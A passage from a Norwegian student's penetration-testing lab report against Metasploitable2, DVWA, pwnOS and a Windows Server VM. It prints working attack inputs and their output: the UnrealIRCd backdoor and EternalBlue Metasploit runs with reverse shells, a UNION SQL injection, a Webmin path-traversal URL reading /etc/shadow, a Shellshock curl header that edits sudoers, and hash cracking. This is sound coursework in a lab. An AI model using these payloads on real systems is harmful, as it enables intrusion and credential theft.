- Økokrim. (2024, juni 7). *60 millioner kroner inndratt i Axie-saken*. Pressemelding. <https://www.okokrim.no/60-millioner-kroner-inndratt-i-axie-saken.6663411-549344.html>

PRAKTISK DEL**Oppgave 5**

Forsøk på skanning av alle nettverksporter mot maskin med metasploitable2 gir ikke versjonsnummer på UnrealIRCd. Kommando - nmap 192.168.174.130 -p- -sC -sV
Utdrag fra skjermbilde:

```
3306/tcp open  mysql      MySQL 5.0.51a-3ubuntu5
| mysql-info:
|   Protocol: 10
|   Version: 5.0.51a-3ubuntu5
|   Thread ID: 8
|   Capabilities flags: 43564
|   Some Capabilities: Support41Auth, SwitchToSSLAfterHandshake, Supports
, Speaks41ProtocolNew
|   Status: Autocommit
|_  Salt: X06kiM6q,%s7W0*"js!G
3632/tcp open  distccd    distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu
5432/tcp open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2025-12-12T11:11:17+00:00; +11s from scanner time.
|_ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationNa
Name=XX
|_Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
5900/tcp open  vnc        VNC (protocol 3.3)
| vnc-info:
|   Protocol version: 3.3
|   Security types:
|_   VNC Authentication (2)
6000/tcp open  X11        (access denied)
6667/tcp open  irc        UnrealIRCd
6697/tcp open  irc        UnrealIRCd
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open  http       Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/5.5
|_http-favicon: Apache Tomcat
```

Kjøring spesifikt mot kjente UnrealIRCd porter med sV og Sc henter heller ikke ut
Forsøk på uthenting av versjon med -sV og -sC gir ingen versjon.

Skjermbilde:

```
(kali㉿kali)-[~]
$ nmap 192.168.174.130 -p 6667,6697 -sV -sC -T1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-12 06:47 EST
Nmap scan report for 192.168.174.130
Host is up (0.0019s latency).

PORT      STATE SERVICE VERSION
6667/tcp  open  irc      UnrealIRCd
6697/tcp  open  irc      UnrealIRCd
MAC Address: 00:0C:29:1C:FE:95 (VMware)
Service Info: Host: irc.Metasploitable.LAN

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.52 seconds
```

Kjøring av nmap mot UnrealIRCd med valg som kjører skanningen saktere og henter ut informasjon fra irc med et NSE skript vil gi versjonsnummer. Jeg vet ikke hvorfor dette er oppførselen til den installerte versjonen av metasploitable2.

Følgende versjon ble hentet ut: 3.2.8.1

Kommando - Nmap – `nmap 192.168.174.130 -p 6667,6697 --script=irc-info -T1`
(NMAP, u.å.)

Utdrag fra skjermbilde:

```
(kali㉿kali)-[~]
└─$ nmap 192.168.174.130 -p 6667,6697 --script=irc-info -T1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-12 06:41 EST
Stats: 0:00:55 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 0.00% done
Stats: 0:00:56 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 0.00% done
Nmap scan report for 192.168.174.130
Host is up (0.0030s latency).

PORT      STATE SERVICE
6667/tcp  open  irc
| irc-info:
|   users: 1
|   servers: 1
|   lusers: 1
|   lservers: 0
|   server: irc.Metasploitable.LAN
|   version: Unreal3.2.8.1. irc.Metasploitable.LAN
|   uptime: 0 days, 0:13:08
|   source ident: nmap
|   source host: 6A209CDA.311349B4.FFFA6D49.IP
|_ error: Closing Link: tcevpzrlw[192.168.174.129] (Quit: tcevpzrlw)
6697/tcp  open  ircs-u
| irc-info:
|   users: 2
|   servers: 1
|   lusers: 2
|   lservers: 0
|   server: irc.Metasploitable.LAN
|   version: Unreal3.2.8.1. irc.Metasploitable.LAN
|   uptime: 0 days, 0:13:08
|   source ident: nmap
|   source host: 6A209CDA.311349B4.FFFA6D49.IP
|_ error: Closing Link: qqkzhdmqm[192.168.174.129] (Quit: qqkzhdmqm)
MAC Address: 00:0C:29:1C:FE:95 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 61.25 seconds
```


Ved bruk av metasploit er det laget bruker ved utnyttelse av bakdør i UnrealircD.
Skjerm bilde:

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP double handler on 192.168.174.129:4444
[*] 192.168.174.130:6667 - Connected to 192.168.174.130:6667 ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
[*] 192.168.174.130:6667 - Sending backdoor command ...
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo cS94m3K4Sc3KLjFZ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "cS94m3K4Sc3KLjFZ\r\n"
[*] Matching ...
[*] A is input ...
whoami
[*] Command shell session 2 opened (192.168.174.129:4444 → 192.168.174.130:39976) at 2025-12-12 07:43:51 -0500

root
whoami
root
useradd -m -p $(openssl passwd -1 "sunshine") 700333
```

Skjerm bilde av innlogging på lokal metasploitable2 maskin:

```
Login with msfadmin/msfadmin to get started

metasploitable login: 700333
Password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
700333@metasploitable:~$ whoami
700333
700333@metasploitable:~$
```

Kildehenvisning 5

NMAP. (u.å.). *Script irc-info*. NSEDoc. Hentet 20. desember 2025, fra
<https://nmap.org/nsedoc/scripts/irc-info.html>

Oppgave 6

Etter manøvrering til DVWA SQL Injection modul forsøkte jeg å se informasjon med standard input `1' OR 1='1`. Dette ga oversikt over alle id-er, first og lastname.

Vulnerability: SQL Injection

User ID:

```
ID: 1' OR 1='1
First name: admin
Surname: admin

ID: 1' OR 1='1
First name: Gordon
Surname: Brown

ID: 1' OR 1='1
First name: Hack
Surname: Me

ID: 1' OR 1='1
First name: Pablo
Surname: Picasso

ID: 1' OR 1='1
First name: Bob
Surname: Smith
```

Ved inspisering av kildekode med "view source" kan man se at de henter data fra table user. Her kan man bruke `union select X from users`

SQL Injection Source

```
<?php
if(isset($_GET['Submit'])){
    // Retrieve data

    $id = $_GET['id'];

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>');

    $num = mysql_numrows($result);

    $i = 0;

    while ($i < $num) {

        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");

        echo '<pre>';
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        echo '</pre>';

        $i++;
    }
}
?>
```

Ved bruk av union select of på "user" og "password" da de ofte er standard vil man få hentet ut alle brukernavn og passord. Kommando: `union select user,password from users#`

Skjermbilde:

http://192.168.174.128/vulnerabilities/sqli/?id='+union+select+user%2Cpassword+from+users%23&Submit=Submit#



Vulnerability: SQL Injection

me
Instructions
Setup
Brute Force
Command Execution
CRLF
File Inclusion
SQL Injection
SQL Injection (Blind)
Upload
Unreflected
Stored
PHP Security
PHP Info
Logout

User ID:

ID: ' union select user,password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' union select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' union select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' union select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' union select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Alle hashene ble hentet ut og lagt i en tekstfil. John kjøres mot filen med rockyou ordlisten og identifiserer flere algoritmer de kan være hashet med.

Skjermbilde:

```
(kali@kali)-[~/Desktop/700333]
$ john --wordlist=rockyou.txt crackthis.txt
Warning: detected hash type "LM", but the string is also recognized as "dynamic-md5($p)"
Use the "--format=dynamic-md5($p)" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "HAVAL-128-4"
Use the "--format=HAVAL-128-4" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "MD2"
Use the "--format=MD2" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "mdc2"
Use the "--format=mdc2" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "mscash"
Use the "--format=mscash" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "mscash2"
Use the "--format=mscash2" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "NT"
Use the "--format=NT" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Raw-MD4"
Use the "--format=Raw-MD4" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Raw-MD5"
Use the "--format=Raw-MD5" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Raw-MD5u"
Use the "--format=Raw-MD5u" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Raw-SHA1-AxCrypt"
Use the "--format=Raw-SHA1-AxCrypt" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "ripemd-128"
Use the "--format=ripemd-128" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Snefru-128"
Use the "--format=Snefru-128" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "ZipMonster"
Use the "--format=ZipMonster" option to force loading these as that type instead
Using default input encoding: UTF-8
Using default target encoding: CP850
Loaded 8 password hashes with no different salts (LM [DES 128/128 AVX])
Warning: poor OpenMP scalability for this hash type, consider --fork=6
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 DONE (2025-12-12 15:27) 0g/s 6236Kp/s 6236Kc/s 49893KC/s (HEIDI)..*7iVA
Session completed.
```

Etter manuell testing ble det avdekket at de er hashet med MD5. Hashene ble så knekt med john.

Kommando: `john --wordlist=rockyou.txt crackthis.txt`

Skjerm bilde:

```
(kali@kali)-[~/Desktop/700333]
$ john --wordlist=rockyou.txt crackthis.txt --format=raw-md5
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=6
Press 'q' or Ctrl-C to abort, almost any other key for status
password      (?)
abc123         (?)
letmein        (?)
charley        (?)
4g 0:00:00:00 DONE (2025-12-12 15:29) 400.0g/s 288000p/s 288000c/s 384000C/s my3kids..soccer9
Warning: passwords printed above might not be all those cracked
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

Det er bare vist 4 knekte passord over, men ved bruk av `--show` vil alle knekte passord vises. Kommando: `john --show --format=raw-md5 crackthis.txt`

Skjerm bilde:

```
(kali㉿kali)-[~/Desktop/700333]
└─$ john --show --format=raw-md5 crackthis.txt
?:password
?:abc123
?:charley
?:letmein
?:password

5 password hashes cracked, 0 left
```

Kildehenvisning 6

Oppgave 7

Fremgangsmetode ved bruk av shellshock sårbarhet mot pwnos:

1. Pwnos ip er identifisert med `sudo netdiscover -i eth1 -r 192.168.174.0/24`.

```

kali@kali: ~
Session Actions Edit View Help
Currently scanning: Finished! | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
+-----+-----+-----+-----+-----+-----+
| IP           | At MAC Address | Count | Len | MAC Vendor / Hostname |
+-----+-----+-----+-----+-----+-----+
| 192.168.174.1 | 00:50:56:c0:00:01 | 1     | 60  | VMware, Inc.          |
| 192.168.174.135 | 00:0c:29:5e:18:c9 | 1     | 60  | VMware, Inc.          |
| 192.168.174.254 | 00:50:56:f3:96:29 | 1     | 60  | VMware, Inc.          |
+-----+-----+-----+-----+-----+-----+

```

2. Skanning av porter med `nmap 192.168.174.135 -sV -sC -p-`.

```

Nmap scan report for 192.168.174.135
Host is up (0.00080s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
22/tcp    open  ssh            OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
|_ ssh-hostkey:
|_ 1024 e4:46:40:bf:e6:29:ac:c6:00:e2:b2:a3:e1:50:90:3c (DSA)
|_ 2048 10:cc:35:45:8e:f2:7a:a1:cc:db:a0:e8:bf:c7:73:3d (RSA)
80/tcp    open  http           Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
|_ http-server-header: Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6
|_ http-title: Site doesn't have a title (text/html).
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: MSHOME)
445/tcp   open  netbios-ssn    Samba smbd 3.0.26a (workgroup: MSHOME)
10000/tcp open  http           MiniServ 0.01 (Webmin httpd)
|_ http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
MAC Address: 00:0C:29:5E:18:C9 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ smb-os-discovery:
|_ OS: Unix (Samba 3.0.26a)
|_ Computer name: ubuntuvm
|_ NetBIOS computer name:
|_ Domain name: nsdlab
|_ FQDN: ubuntuvm.NSDLAB
|_ System time: 2025-12-13T08:22:08-06:00
|_ smb2-time: Protocol negotiation failed (SMB2)
|_ nbstat: NetBIOS name: UBUNTUVM, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_ clock-skew: mean: 3h00m05s, deviation: 4h14m33s, median: 5s
|_ smb-security-mode:
|_ account_used: guest
|_ authentication_level: user
|_ challenge_response: supported
|_ message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.25 seconds

```

3. I 2. er det funnet http på port 80 og 10000. 80 er en "vanlig" side og 10000 er en admin portal. Admin portalen kjører miniserver/webmin som er sårbar for file inclusion ved bruk av /unauthenticated/. Sårbarheten ble funnet ved manuell testing av local file inclusion etter treff på cgi-bin ved bruk av gobuster.

```
(kali@kali)~[~/Desktop/700333/07]
$ gobuster dir -u "http://192.168.174.135" -w common.txt

Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url:             http://192.168.174.135
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:         common.txt
[+] Negative Status codes: 404
[+] User Agent:      gobuster/3.8
[+] Timeout:         10s

Starting gobuster in directory enumeration mode

/.hta                (Status: 403) [Size: 305]
/.htaccess            (Status: 403) [Size: 310]
/.htpasswd            (Status: 403) [Size: 310]
/cgi-bin/             (Status: 403) [Size: 309]
/index               (Status: 200) [Size: 295]
/index.php            (Status: 200) [Size: 295]
/index2              (Status: 200) [Size: 156]
/index1              (Status: 200) [Size: 1104]
/php                 (Status: 301) [Size: 334] [→ http://192
Progress: 4612 / 4613 (99.98%) [ERROR] error on word server-stat
Progress: 4613 / 4613 (100.00%)

Finished
```

Manuell leting etter local file inclusion sårbarheter i miniserv/webmin avdekket //unauthorised/ (UmZ, 2006).

Ved bruk av denne sårbarheten kan man hente ut hashet shadow fil.

```
← → ↻ Not Secure http://192.168.174.135:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/
root:$1$LKr09Q3N$EBgJhPZFHiKXtK0QRqeSm/:14041:0:99999:7:::
daemon:!:14040:0:99999:7:::
bin:!:14040:0:99999:7:::
sys:!:14040:0:99999:7:::
sync:!:14040:0:99999:7:::
games:!:14040:0:99999:7:::
man:!:14040:0:99999:7:::
lp:!:14040:0:99999:7:::
mail:!:14040:0:99999:7:::
news:!:14040:0:99999:7:::
uucp:!:14040:0:99999:7:::
proxy:!:14040:0:99999:7:::
www-data:!:14040:0:99999:7:::
backup:!:14040:0:99999:7:::
list:!:14040:0:99999:7:::
irc:!:14040:0:99999:7:::
gnats:!:14040:0:99999:7:::
nobody:!:14040:0:99999:7:::
dhcp:!:14040:0:99999:7:::
syslog:!:14040:0:99999:7:::
klog:!:14040:0:99999:7:::
mysql:!:14040:0:99999:7:::
sshd:!:14040:0:99999:7:::
vmware:$1$7nwi9F/D$AkdcC02UfsCOM0IC8BYBb/:14042:0:99999:7:::
obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::
osama:$1$Kqiv9qBp$eJg2uGCr0HoXGq0h5ehwe.:14041:0:99999:7:::
yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::
```

4. Etter uthenting av hashede passord ble vmware passordet knekt med john og ordliste rockyou.

```
(kali㉿kali)-[~/Desktop/700333/o7]
$ john crackthis.txt common.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Warning: only loading hashes of type "md5crypt", but also saw type "tripcode"
Use the "--format=tripcode" option to force loading hashes of that type instead
Warning: only loading hashes of type "md5crypt", but also saw type "descrypt"
Use the "--format=descrypt" option to force loading hashes of that type instead
Warning: only loading hashes of type "md5crypt", but also saw type "pix-md5"
Use the "--format=pix-md5" option to force loading hashes of that type instead
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5
])
Remaining 3 password hashes with 3 different salts
Will run 6 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
0g 0:00:01:04 3/3 0g/s 24190p/s 72302c/s 72302C/s 273866..277480
0g 0:00:01:05 3/3 0g/s 24141p/s 72158c/s 72158C/s hmmm0..hmayz

```

5. Dette passordet ble brukt til å ssh med bruker vmware og passord h4ckm3. Med lokal tilgang ble en cgi fil opprettet i tmp mappe og tilgangene på filen ble endret så alle kan lese den.

```
vmware@ubuntuvm:/tmp$ touch 700333.cgi
```

```
vmware@ubuntuvm:/tmp$ chmod 755 700333.cgi
```

6. Ved bruk av samme file inclusion sårbarhet kan filen kalles på.

```
(kali㉿kali)-[~]
└─$ curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'echo \"vmware ALL=(ALL) ALL\" >> /etc/sudoers'" \
http://192.168.174.135:10000/unauthenticated/..%01/../%01/../%01/../%01/../%01/../%01/../%01/../%01/../%01/..
%01/../%01/../%01/../%01/../%01/../%01/tmp/700333.cgi
<h1>Error - Missing Content-Type Header</h1>
```

7. Skjerm bilde av sudo privileger og /etc/shadow

```
vmware@ubuntuvm:~$ sudo su
[sudo] password for vmware:
root@ubuntuvm:/home/vmware# cat /etc/shadow
root:$1$LKr09Q3N$EBgJhPZFHiKXtK0QRqeSm/:14041:0:99999:7:::
daemon:*:14040:0:99999:7:::
bin:*:14040:0:99999:7:::
sys:*:14040:0:99999:7:::
sync:*:14040:0:99999:7:::
games:*:14040:0:99999:7:::
man:*:14040:0:99999:7:::
lp:*:14040:0:99999:7:::
mail:*:14040:0:99999:7:::
news:*:14040:0:99999:7:::
uucp:*:14040:0:99999:7:::
proxy:*:14040:0:99999:7:::
www-data:*:14040:0:99999:7:::
backup:*:14040:0:99999:7:::
list:*:14040:0:99999:7:::
irc:*:14040:0:99999:7:::
gnats:*:14040:0:99999:7:::
nobody:*:14040:0:99999:7:::
dhcp:!:14040:0:99999:7:::
syslog:!:14040:0:99999:7:::
klog:!:14040:0:99999:7:::
mysql:!:14040:0:99999:7:::
sshd:!:14040:0:99999:7:::
vmware:$1$7nwi9F/D$AkdCc02UfsCOM0IC8BYBb/:14042:0:99999:7:::
obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::
osama:$1$Kqiv9qBp$eJg2uGCr0HoXGq0h5ehwe.:14041:0:99999:7:::
yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::
root@ubuntuvm:/home/vmware#
```

Kildehenvisning 7

UmZ. (2006, juli 15). *Webmin < 1.290 / Usermin < 1.220—Arbitrary File Disclosure*. Exploit Database. <https://www.exploit-db.com/exploits/2017>

Oppgave 8

Del A:

Eternalblue script - `smb-vuln-ms17-010`:

```
(kali@kali)-[~/Desktop/700333/o8]
$ nmap 192.168.174.134 --script=smb-vuln-ms17-010
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-15 06:42 EST
Nmap scan report for 192.168.174.134
Host is up (0.00025s latency).
Not shown: 978 filtered tcp ports (no-response)
PORT      STATE SERVICE
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5900/tcp  open  vnc
5985/tcp  open  wsman
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49159/tcp open  unknown
49175/tcp open  unknown
MAC Address: 00:0C:29:4F:B1:99 (VMware)

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs: CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|       servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_

Nmap done: 1 IP address (1 host up) scanned in 19.40 seconds
```



```
msf exploit(windows/smb/ms17_010_psexec) > run
[*] Started reverse TCP handler on 192.168.174.129:4444
[*] 192.168.174.134:445 - Target OS: Windows Server 2012 R2 Standard Evaluati
on 9600
[*] 192.168.174.134:445 - Built a write-what-where primitive ...
[+] 192.168.174.134:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.174.134:445 - Selecting PowerShell target
[*] 192.168.174.134:445 - Executing the payload ...
[+] 192.168.174.134:445 - Service start timed out, OK if running a command or
non-service executable ...
[*] Sending stage (188998 bytes) to 192.168.174.134
[*] Meterpreter session 4 opened (192.168.174.129:4444 → 192.168.174.134:593
88) at 2025-12-18 08:21:35 -0500

meterpreter > shell
Process 500 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
```

Del B:

For kjøring av 64-bits applikasjoner som netsh trace har jeg brukt sysnative og ikke vanlig system32 (Mika Larramo, u.å.).

Skjerm bilde av netsh trace start:

```
C:\Windows\system32>C:\Windows\Sysnative\netsh.exe trace start capture=yes fi
lemode=append persistent=yes tracefile=C:\file.etl
C:\Windows\Sysnative\netsh.exe trace start capture=yes filemode=append persis
tent=yes tracefile=C:\file.etl

Trace configuration:
-----
Status:           Running
Trace File:       C:\file.etl
Append:           On
Circular:         Off
Max Size:         250 MB
Report:           Off

C:\Windows\system32>
```

Del C:

Nedlastning av putty og plink for telnet og telnet til metasploitable. Putty er brukt for telnet funksjoner og plink er brukt for tilgang til putty fra kommandolinjen.

Skjerm bilde:

```

C:\Windows\system32>bitsadmin.exe /transfer "UsingBits" /download https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe C:\putty.exe
bitsadmin.exe /transfer "UsingBits" /download https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe C:\putty.exe

BITSADMIN version 3.0 [ 7.7.9600 ]
BITS administration utility.
(C) Copyright 2000-2006 Microsoft Corp.

BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.
Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.

Transfer complete.
C:\>bitsadmin.exe /transfer "UsingBits" /download https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe C:\plink.exe
bitsadmin.exe /transfer "UsingBits" /download https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe C:\plink.exe

BITSADMIN version 3.0 [ 7.7.9600 ]
BITS administration utility.
(C) Copyright 2000-2006 Microsoft Corp.

BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.
Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.

Transfer complete.
C:\>plink.exe -telnet msfadmin@192.168.174.138
plink.exe -telnet msfadmin@192.168.174.138
Password: msfadmin

Last login: Mon Dec 15 11:40:47 EST 2025 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ping 192.168.174.134
ping 192.168.174.134
PING 192.168.174.134 (192.168.174.134) 56(84) bytes of data.
64 bytes from 192.168.174.134: icmp_seq=1 ttl=128 time=0.187 ms
64 bytes from 192.168.174.134: icmp_seq=2 ttl=128 time=0.227 ms

```

Del D:

Stopping av netsh trace:

```

C:\Windows\system32>C:\Windows\Sysnative\netsh.exe trace stop
C:\Windows\Sysnative\netsh.exe trace stop
Correlating traces ... done
Merging traces ... done
Generating data collection ... done
The trace file and additional troubleshooting information have been compiled
as "C:\file.cab".
File location = C:\file.etl
Tracing session was successfully stopped.

C:\Windows\system32>

```

Nedlastning via meterpreter shell:

```

meterpreter > download C:\\file.etl /home/kali/Desktop/700333/o8
[*] Downloading: C:\\file.etl → /home/kali/Desktop/700333/o8/file.etl
[*] Downloaded 1.00 MiB of 4.50 MiB (22.22%): C:\\file.etl → /home/kali/Desktop/700333/o8/file.etl
[*] Downloaded 2.00 MiB of 4.50 MiB (44.44%): C:\\file.etl → /home/kali/Desktop/700333/o8/file.etl
[*] Downloaded 3.00 MiB of 4.50 MiB (66.67%): C:\\file.etl → /home/kali/Desktop/700333/o8/file.etl
[*] Downloaded 4.00 MiB of 4.50 MiB (88.89%): C:\\file.etl → /home/kali/Desktop/700333/o8/file.etl
[*] Downloaded 4.50 MiB of 4.50 MiB (100.0%): C:\\file.etl → /home/kali/Desktop/700333/o8/file.etl
[*] Completed : C:\\file.etl → /home/kali/Desktop/700333/o8/file.etl

```

Konvertering av etl fil til pcapng med etl2pcapng fra Microsoft kommandolinje, rød farge er brukt for sensurering av navn:

```
C:\>etl2pcapng.exe file.etl file.pcap
IF: medium=eth ID=0 IfIndex=12 VlanID=0
IF: medium=eth ID=1 IfIndex=14 VlanID=0
Wrote 4664 frames to file.pcap
```

Skjerm bilde av telnet innlogging i wireshark:

0000	00 0c 29 4f b1 99 00 0c	29 6c f3 97 08 00 45 10	..)O....)l....E.
0010	00 3e 6a 99 40 00 40 06	f1 ae c0 a8 ae 8a c0 a8	.>j.@.@.
0020	ae 86 00 17 c0 6d 5d 0c	88 05 c5 76 51 53 50 18	m]. ...vQSP.
0030	00 5c e8 52 00 00 6d 65	74 61 73 70 6c 6f 69 74	.\R...me tasexploit
0040	61 62 6c 65 20 6c 6f 67	69 6e 3a 20	able log in:
0000	00 0c 29 6c f3 97 00 0c	29 4f b1 99 08 00 45 00	..)l....)O....E.
0010	00 47 08 4e 40 00 80 06	00 00 c0 a8 ae 86 c0 a8	.G.N@....
0020	ae 8a c0 b3 00 17 f3 6e	cb c2 48 e0 8b f3 50 18	n ..H...P.
0030	01 00 de 9b 00 00 ff fa	27 00 00 55 53 45 52 01	'..USER.
0040	6d 73 66 61 64 6d 69 6e	ff f0 ff fa 18 00 58 54	msfadminXT
0050	45 52 4d ff f0		ERM..
0000	00 0c 29 4f b1 99 00 0c	29 6c f3 97 08 00 45 10	..)O....)l....E.
0010	00 32 1f cb 40 00 40 06	3c 89 c0 a8 ae 8a c0 a8	.2..@.@. <.....
0020	ae 86 00 17 c0 b3 48 e0	8b fc f3 6e cb e4 50 18	H. ...n..P.
0030	00 5c 94 40 00 00 50 61	73 73 77 6f 72 64 3a 20	.\.@..Pa ssword:
0000	00 0c 29 6c f3 97 00 0c	29 4f b1 99 08 00 45 00	..)l....)O....E.
0010	00 31 08 52 40 00 80 06	00 00 c0 a8 ae 86 c0 a8	.1.R@....
0020	ae 8a c0 b3 00 17 f3 6e	cb ea 48 e0 8c 06 50 18	n ..H...P.
0030	01 00 de 85 00 00 6d 73	66 61 64 6d 69 6e 0a	ms fadmin.

Kildehenvisning 8

Mika Larramo. (u.å.). *The «Sysnative» folder in 64-bit Windows explained*. samlogic. Hentet 18. desember 2025, fra <https://www.samlogic.net/articles/sysnative-folder-64-bit-windows.htm>